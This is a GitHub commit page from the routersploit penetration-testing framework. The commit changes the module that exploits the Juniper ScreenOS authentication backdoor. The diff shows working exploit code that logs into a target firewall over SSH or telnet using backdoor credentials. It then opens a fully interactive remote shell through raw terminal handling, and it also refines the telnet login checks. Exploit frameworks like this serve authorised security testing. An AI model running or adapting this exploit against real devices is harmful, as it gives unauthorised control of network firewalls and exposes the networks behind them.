Skip to content

Commit

Permalink
Juniper ScreenOS backdoor exploit fix.
Browse files Browse the repository at this point in the history
  • Loading branch information
lucyoa committed May 9, 2016
1 parent 45fc578 commit a098d4c
Showing 1 changed file with 39 additions and 9 deletions.
48 changes: 39 additions & 9 deletions routersploit/modules/exploits/juniper/screenos_backdoor.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import paramiko
import telnetlib
import paramiko, StringIO, termios, tty, sys, select, socket

from routersploit import (
exploits,
Expand Down Expand Up @@ -45,22 +45,51 @@ def run(self):
else:
print_success("SSH - Successful authentication")

cmd = ""
while cmd not in ["quit", "exit"]:
cmd = raw_input("> ")
stdin, stdout, stderr = ssh.exec_command(cmd.strip())
print stdout.channel.recv(2048)
return
chan = ssh.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)

while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))

if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break

sys.stdout.write(x)
sys.stdout.flush()

except socket.timeout:
pass

if(sys.stdin in r):
x = sys.stdin.read(1)

if(len(x) == 0):
break

chan.send(x)

finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return

try:
tn = telnetlib.Telnet(self.target, 23)
tn.write("\r\n")
tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n")
tn.write("\r\n")

(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
(i, obj, res) = tn.expect(["Failed", "failed"], 5)

if i != -1:
return False
Expand Down Expand Up @@ -88,13 +117,14 @@ def check(self):

try:
tn = telnetlib.Telnet(self.target, 23)
tn.write("\r\n")
tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n")
tn.write("\r\n")

(i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
(i, obj, res) = tn.expect(["Failed", "failed"], 5)
tn.close()

if i != -1:
Expand Down

0 comments on commit a098d4c

Please sign in to comment.